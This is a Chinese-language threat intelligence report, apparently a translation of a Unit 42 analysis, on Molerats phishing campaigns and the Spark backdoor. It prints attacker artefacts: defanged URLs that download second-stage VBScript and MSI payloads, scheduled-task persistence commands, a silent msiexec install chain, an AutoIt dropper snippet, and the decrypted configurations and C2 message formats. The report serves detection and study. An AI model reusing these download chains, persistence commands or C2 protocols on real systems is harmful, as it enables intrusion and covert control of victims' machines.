一、摘要
2019年10月至12月期间，Unit 42团队观察到多次网络钓鱼攻击活动，这些攻击可能与名为Molerats的威胁组织（又名Galer Hackers Team或Gaza Cybergang）有关，攻击活动针对位于六个不同国家的八个组织，这些组织涉及政府、电信、保险和零售业，其中的后两个行业非常值得关注。此次攻击者针对保险和零售业的攻击目标是非常独特的，不符合该恶意组织此前一贯攻击的目标范围。在针对这些特殊的目标发起攻击时，恶意组织所使用的电子邮件和附件文件名称与攻击政府组织时使用的标题类似。由于攻击者没有针对特定行业或目标而定制社会工程学标题，因此可能会降低成功攻击的概率，并进一步迷惑研究人员关于为何要攻击这些组织的分析过程。
所有这些攻击都涉及到鱼叉式网络钓鱼电子邮件，以传递恶意文档，这些恶意文档要求收件人执行某些操作。其中，使用到的社会工程学技术包括诱导图像，试图诱导用户手动启用宏。除此之外，在文档内容中甚至还包含了存在威胁的图片，诱导用户单击链接以下载恶意Payload。在攻击活动中，所使用的Payload大多数一个被称为Spark的后门，该后门可以在受感染的系统上打开特定应用程序并运行命令行中的命令。
至少从2017年开始，Molerats就开始使用了Spark后门，并且该恶意组织与针对加沙地区的恶意活动“Operation Parliament”有关联，因此我们将其归为Gaza Cybergang恶意组织。我们发现，该恶意组织在攻击中曾使用过与JhoneRAT相关的Payload，这表明该恶意组织可能已经在其工具集中添加了另一个自定义的Payload。
Molerats早在2011年就针对全球政府组织发动攻击，其攻击行为主要是与未授权访问、敏感数据收集相关。研究人员观察到该恶意组织使用了一系列策略和技术，包括利用可公开获取的后门工具（例如：PoisonIvy和XtremeRAT）来创建定制开发的产品（例如：KASPERAGENT和MICROPSIA）。在我们跟踪的恶意活动中，该恶意组织主要依靠社会工程学和鱼叉式网络钓鱼技术作为其初始感染没接，然后依靠多层命令和控制（C2）服务器来分发恶意软件。
由于Molerats使用了包括使用密码保护投递的文档、只能在使用阿拉伯语输入法和语言环境的系统上运行、使用商业加壳工具Enigma混淆Payload等多种技术，这使得检测和分析过程变得困难。Spark的C2通道同样采取了技术手段逃避检测，其HTTP POST请求和响应中的数据使用了3DES或AES的加密方式，并且使用了随机生成的密钥，这些密钥对于每个Payload而言都是唯一的。
二、发现威胁
2019年11月，Unit 42发现一封针对沙特阿拉伯政府组织的网络钓鱼电子邮件。该攻击中使用了带有密码保护的Microsoft Word文档，其中包含嵌入式宏。该文档的密码已经在电子邮件正文中提供给潜在受害者。
利用我们的AutoFocus工具，我们发现了从2019年10月2日到2019年12月9日期间攻击者开展的多次攻击。这些电子邮件都是发送到政府和电信行业的组织中，并且使用了特定和通用的电子邮件主题和附件文件名。我们还看到在此次攻击中涉及两个美国的组织，一个属于零售业，另一个属于保险业。
这些电子邮件所附带的附件都是文档，其中大多数是Word文档，也包含一个PDF文档。下面列举出了此次攻击活动中攻击者所使用的恶意电子邮件的详情，包括详细信息及目标信息。在本文中，我们将分析下表所列出的7封恶意邮件中的3封，因为其中文件名带有MOFA的四个恶意文件之间非常相似。最后的一个恶意文件（Urgent.docx）在Cisco Talos此前对一种名为JhoneRAT的新型Payload的研究中进行过详细分析，这可能表明该恶意组织在此次攻击活动中也使用了JhoneRAT。
在攻击活动中发现的鱼叉式网络钓鱼电子邮件的详情：
日期：2019-10-2
标题：MOFA reports 03-10-2019
附件：MOFA- 031019.doc
SHA-256：d19104ef4f443e8..
国家：阿联酋
行业：政府
日期：2019-10-3
标题：03-10-2019
附件：MOFA- 031019.doc
SHA-256：d19104ef4f443e8..
国家：英国、西班牙
行业：政府
日期：2019-10-5
标题：06-10-2019
附件：MOFA- 061019.doc
SHA-256：03be1d7e1071b01..
国家：阿联酋
行业：政府
日期：2019-10-10
标题：MOFA Reports
附件：MOFA- 101019.doc
SHA-256：011ba7f9b4c508f..，ddf938508618ff7..
国家：美国
行业：保险、零售
日期：2019-10-31
标题：لعناية معاليكم – المرفق 31-10-2019
附件：attachment.doc
SHA-256：eaf2ba0d78c0fda..
国家：吉布提
行业：电信
日期：2019-11-2
标题：لعناية معاليكم – المرفق 31-10-2019
附件：attachment.doc
SHA-256：eaf2ba0d78c0fda..
国家：吉布提
行业：电信
日期：2019-11-18
标题：صورك
附件：Pictures.pdf
SHA-256：9d6ce7c585609b8..
国家：西班牙
行业：政府
日期：2019-11-24
标题：مخطط الجهاد الاسلامي لمباغتة اسرائيل وضرب التهدئة
附件：Urgent.docx
SHA-256：273aa20c4857d98..
国家：吉布提
行业：电信
日期：2019-12-9
标题：محضر اجتماع قيادة المخابرات العامة مع وفد حركة حماس 09-12-2019
附件：Urgent.docx
SHA-256：273aa20c4857d98..
国家：吉布提
行业：电信
三、MOFA投递文档分析
我们收集并分析的第一个文档的文件名为MOFA- 061019.doc（SHA-256：03be1d7e1071b018d3fbc6496788fd7234b0bb6d3614bec5b482f3bf95aeb506）。该文档受到密码保护，密码为Abdullah@2019。在输入密码后，显示出文档的内容，其中包括一个看起来像是缺少的图像，如下图所示。
MOFA投递文档中包含的诱导图像：
一旦受害者启用了文档中的嵌入式宏，该宏就会对嵌入式VBScript（T1064）进行解码，并将其保存到C:\programdata\Micorsoft\Microsoft.vbs。其中，Microsoft.vbs脚本将与C2域名servicebios[.]com进行通信，以检索第二个VBScript，其中包含其他指令，可以检索Payload。该脚本从以下URL下载第二个VBScript，并将其保存为C:\ProgramData\PlayerVLC.vbs：
https://servicebios[.]com/PlayerVLC.vbs
随后，原始的VBScript将创建一个计划任务（T1053），以通过每分钟运行一次下述命令的方式来保证第二个VBScript的持续运行：
schtasks /create /sc minute /mo 1 /tn PlayerVLC /F /tr C:\ProgramData\PlayerVLC.vbs
第二个VBScript尝试从以下URL下载可执行Payload，并将其保存到C:\ProgramData\PlayerVLC.msi：
https://servicebios[.]com/PlayerVLC.msi
在下载可执行Payload之后，第二个VBScript在命令行（T1059）中运行下述命令，以结束任何现有的msiexec.exe进程实例，并使用ping应用程序休眠两秒钟，然后再使用合法的msiexec.exe应用程序（T1218）启动下载的PlayerVLC.msi文件：
%comspec% /c taskkill /F /IM msiexec.exe & ping 127.0.0.1 -n 2 >NUL & msiexec /i C:\ProgramData\PlayerVLC.msi /quiet /qn /norestart
但遗憾的是，我们无法获取到PlayerVLC.msi文件，因为该文件目前已经不再在C2服务器上托管。这一点展现了模块化Payload对于攻击者而言的优势，Payload要求与C2服务器成功通信后才能成功感染，这就使得在入侵完成后的分析工作变得更为困难。这种类型的模块化Payload和相关的C2请求是非常普遍的，我们目前已经看到，例如DarkHydrus和Sofacy之类的攻击者也正在使用这样的方法。这种方式可以帮助攻击者逃避自动防御机制，因为他们可以在攻击过程中部署其基础结构，并阻止研究人员获得其他组件以进行进一步分析。
四、Attachment投递文档分析
在2019年10月31日和11月2日投递的Word文档（SHA-256：eaf2ba0d78c0fda95f0cf53daac9a89d0434cf8df47fe831165b19b4e3568000）其文件名为attachment.doc，同样试图诱导收件人点击“启用内容”按钮来运行嵌入式宏。下图展现了试图诱导邮件接收者单击“启用内容”按钮的诱导图像。这些文档没有受到密码保护，这与我们前面所分析的MOFA投递文档不同。
Attachment投递文档中的诱导图像：
宏代码非常简单，它尝试从以下Google Drive URL下载经过Base64编码后的可执行文件，该文件将首先解码，随后保存到%TEMP%\rundll64.exe：
hxxps://drive.google[.]com/uc?export=download&id=1yiDnuLRfQTBdak6S8gKnJLEzMk3yvepH
解码后的可执行文件（SHA-256：7bb719f1c64d627ecb1f13c97dc050a7bb1441497f26578f7b2a9302adbbb128P）是一个经过编译后的AutoIt脚本，该脚本将嵌入式可执行文件安装到%userprofile%\runawy.exe并运行。在退出之前，AutoIt脚本还会将可执行文件复制到启动目录，并通过运行以下命令来创建任务计划，以确保该可执行文件能具有持久性：
SCHTASKS /Create /f /SC minute /TN “runawy” /mo 5 /tr “%userprofile%\runawy.exe”
这里的runawy.exe文件（SHA-256：64ea1f1e0352f3d1099fdbb089e7b066d3460993717f7490c2e71eff6122c431）是以使用Enigma进行加壳的Payload，该Payload创建互斥量“S4.4P”。该Payload是由Spark后门变种加壳后得到，已经由Molerats对其配置内容进行修改。我们将在后面详细分析Spark后门的功能，这个恶意样本使用了以下的配置：
{“sIt”:”nysura[.]com”,”QrU”:”/”,”JJDF”:80,”MJOu”:0,”TuS”:””,”pJhC”:1,”Lm”:”NMRm3AlaGUeT2g9iA2lNTIk04vSj8r2IBUDEvItgOxw=”,”LPO”:10000}五、Picture PDF投递文档分析
与前面分析过的两个Word文档不同，我们还观察到一个名为“Picture.pdf”的PDF文档（SHA-256：9d6ce7c585609b8b23703617ef9d480c1cfe0f3bf6f57e178773823b8bf86495），该文档包含在主题为“صورك
PDF文档中的消息为阿拉伯语，谎称发件人（攻击者）已经获得了收件人的照片，并且会将其发给媒体。在消息中还表明，该文件已经发送给政府官员的同事，以此来威胁受害者单击文件中的链接。下图展示了PDF文档中的内容。
恶意PDF文档内容截图：
该文档中的链接为阿拉伯语，大致翻译为“Heba拍摄的不可见人的图片”和“图片”。链接指向以下URL，该地址大小写敏感：
hxxps://zmartco[.]com/Pictures.rar
其中，“Pictures.rar”文件（SHA-256：1742caf26d41641925d109caa5b4ebe30cda274077fbc68762109155d3e0b0da）是一个RAR压缩文件，其中包含一个文件名为“هذه عينة قليلة من الصور.exe”（SHA-256：92d0c5f5ecffd3d3cfda6355817f4410b0daa3095f2445a8574e43d67cdca0b7）的文件，其大致翻译为“这是一些照片示例”。可执行文件是一个经过编译的AutoIt脚本，其功能是提取嵌入式可执行文件，将其保存到C:\Users\Public\pdf.exe（SHA-256：5139a334d5629c598325787fc43a2924d38d3c005bffd93afb7258a4a9a8d8b3），同时在Start Menu\Programs\Startup\pdf.lnk的位置创建一个快捷方式，以保证每次系统启动时都会自动运行，其内容如下：
#NoTrayIcon
FileInstall("pdf.exe", "C:\Users\Public\" & "/pdf.exe")
$cmd1 = "C:\Users\Public\" & "\pdf.exe"
RunWait(@ComSpec & " /c start " & $cmd1, "", @SW_HIDE)
FileCreateShortcut("C:\Users\Public\" & "\pdf.exe", @StartupDir &
"\pdf.lnk")与attachment.doc Word文档提供的runawy.exe Payload一样，保存到系统中的pdf.exe文件时Spark后门的加壳后版本。这一后门变种包含以下配置：
{“xBql”:”laceibagrafica[.]com”,”eauy”:”/”,”Qnd”:80,”jJN”:0,”rlOa”:””,”Eb”:1,”BGa”:”vcJbq6nzgJk=”,”qJk”:10000}六、投递基础架构分析
通常，在分析此类攻击活动时，都可以轻松找到用于不同恶意活动的基础结构之间的链接，例如通过跟踪多次使用的IP地址或域名、查找属性类似的相关域名等等。而在这里，对于所有与MOFA相关的投递文档，都使用了servicebios[.]com这个唯一的域名，并且大多数基础结构信息都与此前攻击者所使用的相同。
借助AutoFocus威胁情报服务，我们在分析恶意文档时使用了从我们的云沙箱WildFire提供的备用数据点，以便进行数据透视和发现其他样本及相关基础结构。在本节中，我们将讨论我们使用的方法，并描述其他基础结构。
下图展示了一个maltego图标，该图表的下半部分显示了与servicebios[.]com域名相关的Word文档和Visual Basic Script（VBS）文件，其中一些相关的实体通过一两个链接与图表上半部分的其他实体相关联。其中，用蓝色方框标出的代表我们已经掌握其Yara签名，橙色方框标出的表示可以在AutoFocus中查询。
投递文档与相关基础架构之间的关联：
AutoFocus查询将我们引向了一条Windows脚本宿主进程（wscript.exe）启动恶意VBS下载程序脚本的特定进程执行链。这样一来，我们就将重点放在“MOFA- 101019.doc”（SHA-256：ddf938508618ff7f147b3f7c2b706968cace33819e422fe1daae78bc256f75a8）文档上，它与此前的未知文档“التقرير اليومي حول أهم المستجدات الفلسطينية ليوم – 9 – 9 – 2019.doc”（翻译：重要的巴勒斯坦发展日报，SHA-256：feec28c7c19a8d0ebdca8fcfc0415ae79ef08362bd72304a99eeea55c8871e21）和“التقرير اليومي حول أخر مستجدات الإرهاب العالمي- 9 – 9 – 2019.doc”（翻译：最新Alaalmi恐怖主义报告每日更新，SHA-256：bf126c2c8f7d4263c78f4b97857912a3c1e87c73fee3f18095d58ef5053f2959）相关。
与原始Word文档一样，新文档中的VBA宏代码也使用了Motobit的开源代码“Base64解码VBS函数”将下载函数和URL解码到VBS（T1027）。两个VBS文件之间的主要区别是其中包含的域名，在这里使用的域名是dapoerwedding[.]com，用于托管第二个VBS Payload。在撰写本文的过程中，该域名被解析到45.15.168[.]118，这个IP地址在2019年9月开始的上一起恶意活动中使用过。
在使用行为特征对相关文件进行搜索的同时，我们还针对原始投递文档相关的VBS代码编写了Yara签名，以扫描我们和VirusTotal的语料库。最终，我们成功发现了两个额外的VBS文件。第一个文件的SHA-256为85631021d7e84dc466b23cf77dd949ebc61011a52c1f0fb046cfd62dd9192a15，是第一阶段VBS下载程序，其中对所使用的域名和文件名做了略微的更改，具体如下：
https://dapoerwedding[.]com/GoogleChrome.vbs
发现的第二个VBS文件（SHA-256：9451a110f75cbc3b66af5acb11a07a8d5e20e15e5487292722e695678272bca7）是第二阶段VBS下载程序，引用了最终的MSI文件Payload，在撰写本文时该链接暂不可用：
https://dapoerwedding[.]com/GoogleChrome.msi
我们还通过其他AutoFocus查询发现了另外的Wordendangered，如上面关联图中另外两个使用橙色方框标记的所示。这些maltego实体查询我们的数据，并使用来自原始文档的VBA宏代码进行计算，最终得到SHA-256值602828399e24dca9259a4fc4c26f07408d1e0a638c015109c6c84986dc442ebb（servicebios[.]com）、a2c68da1b3e0115f5804a55768b2baf50faea81f13a16e563411754dc6c0a8ff以及4f51b180a6d0b074778d055580788dc33c9e1fd2e49f3c9a19793245a8671cba（dapoerwedding[.]com）。
在对dapoerwedding[.]com和servicebios[.]com进行初步分析时，我们没有发现这两个域名与Molerats恶意活动的关联性，但这两个域名二者之间存在一些共同点（T1347）：
1、使用此前就存在的域名；
2、此前网站上的历史内容看似是合法的；
3、这两个域名都是最近过期，且域名赎回宽限期已过；
4、过期后的注册者（T1328）是NameCheap, Inc.；
5、使用Sectigo发行的域名验证SSL证书（T1337）。
另一个投递域名zmartco[.]com具有上述列出的所有共同点，与我们在上一章中所分析的“Picture.pdf”投递附件有关。
七、与Operation Parliament相关的Spark Payload
Molerats在许多攻击活动中都使用编译的AutoIt脚本安装的可执行文件作为后门，但该后门一直没有自己的名称，直到最近Cybereason将其命名为“Spark”。Cybereason的文章中表示，Spark后门在2019年1月发生的攻击中被交付，这一点与360的研究结果相同。根据我们的研究，至少从2017年初开始，Molerats就使用了Spark后门，并将其作为卡巴斯基此前所报道的“Operation Parliament”恶意活动中的主要内容。
Spark使用HTTP POST请求与其C2服务器进行通信，以接收命令并提取结果，所有的通信过程都使用JSON结构的消息。在大多数情况下，威胁行为者会使用商业加壳器来混淆Spark Payload，以避免被发现。在我们的研究中，我们已经看到攻击者使用了Enigma、Themida和VMProtect，这使得识别样本的过程变得困难。我们还可以识别开发人员在二进制文件中留下的两个不同版本的基于Spark的标识符，分别是2.2版本和4.2版本。根据包含可识别版本字符串的Spark样本的编译时间，我们可以推测2.2版本是在2017年创建的，而4.2版本是在2019年12月下旬和2020年1月创建的。下面展示了这些带有版本号的Spark样本，以及其编译时间，和用于混淆其内容的加壳工具。
Spark样本及版本号、编译时间和加壳工具信息：
我们已经收集到数十个Spark Payload，其编译时间从2017年3月到2020年1月，这近一步表明该恶意组织已经在攻击活动中使用该后门程序将近三年。我们从每个文件中提取了配置信息，以收集与Spark相关的已知C2域名，如下表所示。
Spark C2域名及其使用的大致时间：
在下一章中，我们将解释Spark的功能，并展示其C2通信过程，该过程是我们根据对Pictures.pdf文档在2019年11月攻击者提供的“pdf.exe”Payload进行分析而确定的。
八、Pictures.pdf文档Spark Payload分析
Spark Payload由编译后的AutoIt脚本安装，并使用商业Enigma工具进行加壳（T1045）。在对Payload进行加壳时，威胁参与者使用了Enigma中被称为“闪屏”的功能，威胁参与者将其配置为在所有窗口的上方显示图像，并等待用户单击该图像，然后执行恶意代码。下图展现了Enigma保护程序在执行Payload之前显示的启动图像，它是在wallpaperwide.com上获取的壁纸图像。闪屏功能可以作为逃避沙箱的一种技术，因为它要求用户在恶意代码运行之前以单击屏幕的形式进行交互。
恶意PDF文档内容的屏幕截图：
我们分析其功能，一旦脱壳后，Spark的Payload类似于在Operation Parliament中使用的Payload。Spark Payload是一个后门，允许威胁参与者在受感染的系统上打开应用程序并运行命令行命令。
Payload首先检查GetKeyboardLayoutList的结果，以及GetLocaleInfoA返回的语言名称，以确认其中是否包含关键词“arabic”。如果这两个API调用的结果中不包含该关键词，则Payload不会执行任何恶意代码。我们知道，检查特定的键盘和语言是一种已知的逃避策略，旨在避免恶意代码在样本分析环境中运行，并使得威胁参与者可以精准攻击目标用户。
在Payload确认系统正在使用特定的键盘和语言包之后，它将尝试与Payload中嵌入配置中指定的C2服务器进行通信。其中，嵌入的配置信息已经被预先加密，Payload首先需要使用自定义的XOR算法解密密钥，并使用密钥对文本内容进行解密，这里的密钥和密文看上去像是Base64编码。随后，它将生成Base64编码密钥的SHA-256哈希值，并使用所得到的哈希值的第4-28个字节作为最终密钥。Payload将对64位密文进行Base64编码，并使用最终密钥以Triple DES（3DES）算法解密解码后的密文，从而得到JSON结构表示的配置信息。在我们所分析的Payload中，配置信息包含如下内容：
Payload还使用该例程来解密包含睡眠间隔的加密缓冲区，更重要的是，该缓冲区包含用于构造与C2服务器进行通信的消息名称列表，以及用于解密这些消息的密钥。Payload将使用下表中列出的名字作为发送到C2的消息和从C2接收的消息中的JSON键和值。我们在附录中提供了其中每个字段的具体描述，并且在后文中说明了如何在C2通信中使用这些字段名称。对于每个Spark样本来说，所使用的值都是唯一的，因为开发人员会不断更改Payload的名称和字段。
Spark用于C2通信的JSON字段/值的名称：
在与C2服务器通信之前，Payload将解密另一个缓冲区，该缓冲区中包含Payload用于调试消息的字符串，以及用于收集系统信息的命令。下表展示了解密的字符串及其用途。
Payload用于与C2服务器通信的缓冲区中的JSON键/值：
1 用途不明，但使用Averizt字段发送到C2。
311OEVZihfReZStoFf4cfg== 解码并解密后为/c hostname，用于获取系统的主机名。
Z9Q1WVryAIzLVSxF1yWRwg== 解码并解密后为%COMSPEC%，用于获取cmd.exe的位置，以运行命令来收集系统信息。
P5K5He/2wSGGsvrFPKYpwg4KjBLyTOpbsGJwm1DckoyGK8eXeNMZCQBfHzkYRSjJlGcw6Ckn41X0MY3zJcU65uMvxpABv/g+ttABRJsG7js= 解码并解密后为/c wmic csproduct get UUID | more +1 | cmd /q /v:on /c “set/p .=&echo(!.!”，用于获取已登录帐户的用户名。
ok 表示成功执行命令的通用消息。
Create Pipe Error 如果Payload未能创建通道以获取命令结果，则将调试消息发送到C2。
Create processa error 如果Payload未能创建进程，则将调试消息发送到C2。
Get exit code process error 如果尝试在为命令创建进程的过程中，无法调用GetExitCodeProcess获取错误消息，则将调试消息发送到C2。
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*()_+ 未知，似乎未在代码中使用。
Set handle information error 在尝试将创建进程的标准输出设置为继承对象句柄时，如果调用SetHandleInformation失败，则将调试消息发送到C2。
Wait for single object error 在尝试为命令创建进程后，如果调用WaitForSingleObject失败，则将调试消息发送到C2。
九、Spark C2通信过程分析
Payload通过发出HTTP POST请求以及其数据部分中的Base64编码和加密消息，与C2服务器laceibagrafica[.]com进行通信。我们此前没有看到与这个C2服务器相关的任何解释，因此我们将在这里分析Payload和C2服务器之间的双向通信过程，以进一步说明Payload如何使用上文中表格内展示的名称。为了进行这一部分的分析，我们创建了一个C2服务器，与Spark Payload进行交互以发出命令，本章中所有HTTP响应均来源于我们创建的C2服务器，而并非威胁参与者开发的C2软件。下图展示了从Payload发送到C2服务器的初始信标。但是，从Payload到C2的所有出站请求在外观上看起来都是相似的，因为它们都使用HTTP POST请求将编码和加密后的消息发送到相同的URL。
从Payload发送到C2服务器的初始信标：
初始信标中的数据部分经过解码和解密后实际上是JSON消息{“CallieVK”:”W10=”,”ReeceWNM”:”Jessicay”}。在JSON消息中包含两个键值对，分别是“ReeceWNM”和“CallieVK”，其中的值分别代表通信类型和数据。例如，“ReeceWNM”键中包含用于表示初始信标通信类型的名称“Jessicay”。Payload将解密C2服务器的响应，以寻找“EverlyY”字段，并在继续之前使用该值作为睡眠间隔。下图展示了从C2服务器到初始信标的响应过程，该响应内容解密为{“EverlyY”: 0}。
从C2服务器发送到Payload的响应内容：
在收到EverlyY响应后，Payload将使用cmd.exe运行以下命令行命令来收集系统信息，其中包括用户名、主机名和系统特定的UUID：
1. wmic csproduct get UUID | more +1 | cmd /q /v:on /c “set/p .=&echo(!.!”；
2. hostname；
3. echo %username%。
Payload会将这些命令结果的密文进行Base64编码后，以JSON格式存储到字段名称“ZaydenlnL”中，并使用第一个名称“AngelxEv”代表数据类型，其值对应上表中的结果，1代表UUID，2代表主机名，3代表用户名。
这三个JSON对象将添加到名称为“Maximiliano”的JSON数组中，并发送到C2服务器。例如，Payload会将系统信息存储在JSON中，如下所示：
{“Maximiliano”:[{“AngelxEv”:1,”Houstonod”:1,”ZaydenlnL”:” < base64 encoded ciphertext of UUID > ”},{“AngelxEv”:3,”Houstonod”:1,”ZaydenlnL”:” < base64 encoded ciphertext of username > ”},{“AngelxEv”:2,”Houstonod”:1,”ZaydenlnL”:” < base64 encoded ciphertext of hostname > ”}]}Payload将创建出站通信的JSON对象，将“CallieVK”值设置为编码后的系统信息，并将“ReeceWNM”值设置为通信类型“JoslynKe”。生成的JSON将类似于以下内容：
{“CallieVK”:” < base64 encoded ciphertext of system information “Maximiliano” JSON array > ”,”ReeceWNM”:”JoslynKe”}生成的JSON对象经过Base64编码和加密后，以HTTP POST的方式发送到C2服务器，如下图中示例的请求所示：
从Payload发送到C2服务器的系统信息：
在发送系统信息后，Payload将等待从C2服务器接收响应，其中包含命令。下图展示了对此请求的响应，其中包含Payload需要解析并执行的命令内容（以加密数据的形式）。
Payload没有命令处理程序，而是通过调用CreateProcessW API函数来处理C2响应中的JSON对象，以使应用程序打开或运行命令行命令。预期的JSON对象中应该包含一个名为“Jordanlzw”的数组，该数组中包含一个或多个对象，这些对象的“Ivory”字段中包含任务标识符编号，“Alanih”字段中包含要运行的应用程序名称，“TrumanRd”字段中包含要传递到应用程序的命令行参数。例如，下图中展示的响应中包含一个JSON对象，该对象将使用命令行参数“/c whoami”来指示Payload运行“c:\windows\system32\cmd.exe”并执行“whoami”命令：
{“Aryana”: 0, “Jordanlzw” :[{“Ivory” : 5, “Jonas” : true, “Reginacy” : false, “TrumanRd” : “/NKg0zJdCDP1XlK9NJ4eJA==”, “Alanih” : “i8KOnxchf86h8NKfF45XMETHhwTx6yF3AfMoWzyG9wA=”, “LondonzO” : true}]}在运行C2提供的命令后，Payload将向C2服务器发送一条消息，我们认为该消息是通过向服务器发送特定的任务标识符以通知C2成功接收到该命令。Payload将使用通信类型“MorganE”来通知C2服务器，如下面的JSON所示：
{“CallieVK”:”eyJKYXNlTiI6W3siTGF3cmVuY2UiOjV9XX0=”,”ReeceWNM”:”MorganE”}“CallieVK”字段解码后的数据中包含一个名称为“JaseN”的JSON数组，其中包含一个或多个对象，这些对象的字段名称为“Lawrence”，其中包含收到的任务编号，例如{“JaseN”:[{“Lawrence”:5}]}。该确认信息将发送到C2服务器，如下图所示：
确认收到命令后，Payload期望C2使用JSON对象进行响应，并将“Allier”字段设置为数字，例如{“Allier” : 7}。我们并不确定这一次通信的目的，也不确定Payload将如何利用这一数字进行操作，下图展示了包含“Allier”字段的Base64编码后密文。
提供Allier JSON对象的C2服务器：
在收到“Allier”JSON对象后，Payload会将已执行命令的结果发送到C2服务器。Payload将创建一个带有名为“Zeke”的数组的JSON对象，该数组中包含JSON对象，这些对象具有一个用于存储命令结果的“FrederickT”字段、一个用于表示任务标识符的“ReesefP”字段以及一个以布尔型表示命令是否执行成功的“KaileeXws”字段。当C2发出的“whoami”命令的执行结果为“test-system\
{“Zeke”:[{“FrederickT”:”5yUu16Ae8WKt < redacted > ”,”KaileeXws”:true,”ReesefP”:5}]}Payload将对这个数据进行Base64编码，并将其放在出站JSON对象的“CallieVK”字段中，另一个“ReeceWNM”字段被设置为“Winston”以表示通信类型，如下所示：
{“CallieVK”:”eyJaZWtlIjpbeyJGcmVkZXJpY2tUIjoiNXlVdTE2QWU4V0t0aX < redacted > 0iLCJLYWlsZWVYd3MiOnRydWUsIlJlZXNlZlAiOjV9XX0=”,”ReeceWNM”:”Winston”}随后，Payload将对这个JSON对象进行加密，并将其发送到C2服务器，以获取命令执行的结果。下图展示了HTTP POST请求，其中包含加密的JSON对象，该对象包含“Winston”通信类型。
Payload将发出命令的结果发送到C2服务器：
发送初始命令的结果后，Payload期望C2使用JSON对象进行答复，该JSON对象的“Garrison”字段被设置为数字，例如{“Garrison” : 8}。下图展示了C2服务器使用带有“Garrison”字段的JSON对象的密文进行响应的过程。
C2服务器将Garrison JSON对象发送到Payload：
到此，C2的报到和初始命令执行部分已经结束。Payload将进入一个循环，连续发送HTTP请求以获取其他命令，并使用与之前相同的JSON对象序列运行，这个过程从使用“JoslynKe”通信类型将系统信息发送到C2之后开始。取而代之的是，在每一次循环中，都使用“VanessaFM”通信类型，如下所示：
{“CallieVK”:”eyJBZGVsaW5lUkQiOiJ2Y0picTZuemdKaz0iLCJBdmVyaXp0IjoiMSIsIkJyYW5kZW50bEsiOjEsIk1hdGhpYXNOYm8iOlt7IkFkYWx5bm5nUyI6MSwiQ29sbGluc1BNIjoiS1Q2TloyMVNGTVQ5WHFuZVM3MjJmZkVucG1FUFVZcDBqcDFFTXRaVEtyUmNNWkVFWG56QnZnPT0iLCJOZXZhZWgiOnRydWV9XX0=”,”ReeceWNM”:”VanessaFM”}“CallieVK”字段中的数据在解码后是具有多个字段的JSON对象，其中一个是名为“MathiasNbo”的数组，该数组包含JSON对象，其中名为“CollinsPM”的字段中包含受感染主机的UUID，该值已经在此前的“JoslynKe”通信类型中由“ZaydenlnL”字段进行传输。
JSON对象中还包含“”字段，该字段包含Base64编码的昵称或恶意活动系列标识符值密文。我们已经整理了已知Spark Payload的恶意活动代码列表，这些代码已经包含在附录中。生成的JSON对象如下所示：
{“AdelineRD”:”vcJbq6nzgJk=”,”Averizt”:”1″,”BrandentlK”:1,”MathiasNbo”:[{“AdalynngS”:1,”CollinsPM”:”” < base64 encoded ciphertext of UUID seen in ZaydenlnL field > ”,”Nevaeh”:true}]}如下图所示，这个JSON进行了加密和Base64编码，然后发送到C2服务器，Payload将在主循环的每一次循环中使用相同的JSON，并期望C2提供相同的响应，其中包含的“Jordanlzw”、“Allier”和“Garrison”字段可以接收其他命令。
向C2服务器发出HTTP POST请求其他命令的Payload：
十、2019年与2020年恶意活动的对比
在收集其他Spark恶意样本的同时，我们找到了2019年恶意活动中使用过的样本，以及2020年1月在Spark恶意活动中使用的较新样本。这些恶意活动中使用的投递文件和Spark Payload与我们在2019年10月和2019年11月的攻击中所观察到的投递文件有所不同。我们发现，2019年1月的投递文档是独立的，因为其中嵌入了Payload，而2019年10月、11月和2020年1月的投递文档则需要与远程服务器进行交互。2019年10月和2020年1月的文档有所不同，前者试图下载VBScript，该VBScript从威胁参与者控制的服务器上下载Payload，而2020年1月的文档视图从Google Drive加载远程模板，宏试图从Google Drive下载Payload。每个投递文档中安装的Spark Payload也有所不同，我们将与本文前面所分析的11月攻击中所使用的已知Payload进行比较。
我们分析了2019年恶意活动中使用的投递文档，发现该文档是启用宏的Word文档（SHA-256：40b7a1e8c00deb6d26f28bbdd3e9abe0a483873a4a530742bb65faace89ffd11）。该宏通过将文档中的文本框设置为“Shapes(“textbox1”).Visible = True”的方式来使诱导内容可见，而我们在本文前面所分析的攻击活动中没有使用这样的诱饵内容。另一个明显的区别在于，尽管2019年1月和2019年10月的投递文件中都分别写入了第二个VBScript %userprofile%\wmsetup.vbs和programdata\Micorsoft\Microsoft.vbs，但wmsetup.vbs脚本中包含二进制Payload，而Microsoft.vbs会尝试下载另一个VBScript，下载的VBScript将负责下载二进制Payload。wmsetup.vbs脚本将会解码嵌入式Base64编码的Payload（SHA-256：9511940ed52775aef969fba004678f4c142b33e2dd631a0e8f4e536ab0b811db），并将其保存到%temp%\ihelp.exe，通过运行以下命令来创建持久性：
schtasks /create /f /sc minute /mo 1 /tn ihelp /tr %temp%\ihelp.exe
2019年1月投递的Spark Payload包含一些显著特征，包括使用与其他已知样本不同的免费可用库，例如使用msgpackv1库而非JSON来构建其配置和C2通信，以及使用SFML库而非cURL。此外，与2019年11月投递的Spark Payload有所不同，该Payload使用AES密码解密其配置和其他相关字符串，并加密和解密其C2的网络通信。它使用提供的密钥字符串的完整SHA-256哈希值，而无需在密钥和密文上使用自定义XOR解密。使用msgpack构造Payload的解密配置如下所示：
\x88\xa4jevG\xadsmartweb9[.]com\xa3JRk\xa1/\xa3ufRP\xa4qNxp\x00\xa4kfds\xa0\xa4WjaS\x01\xa3WnF\xb8OMfX5GiCmOICUvhunB2lWQ==\xa3sRF\xcd’\x10
我们还分析了2020年Spark恶意活动的投递文档（SHA-256：8c0966c9518a7ec5bd1ed969222b2bcf9420295450b7ed2f45972e766d26ded8），发现它与2019年1月和10月的投递文档有所不同。首先，初始投递文档不包含宏，而是尝试从Google Drive加载远程模板，其URL如下：
hxxps://drive.google.com/uc?export=download&d=1NbCEnL-jA89PWBEhLWwHmBM5nmUKNRS8
远程模板（SHA-256：a0ae5cc0659693e4c49d3597d5191923fcfb54040b9b5c8229e4c46b9330c367）包含一个可以从下面的URL下载可执行文件的宏：
hxxs://drive.google.com/uc?export=download&id=1yiDnuLRfQTBdak6S8gKnJLEzMk3yvepH
在Google Drive链接（SHA-256：7bb719f1c64d627ecb1f13c97dc050a7bb1441497f26578f7b2a9302adbbb128）中托管的可执行文件是一个经过编译的AutoIt脚本，该脚本尝试将Spark后门安装到%userprofile%\runawy.exe，这与我们在attachment.doc看到的安装程序完全相同。
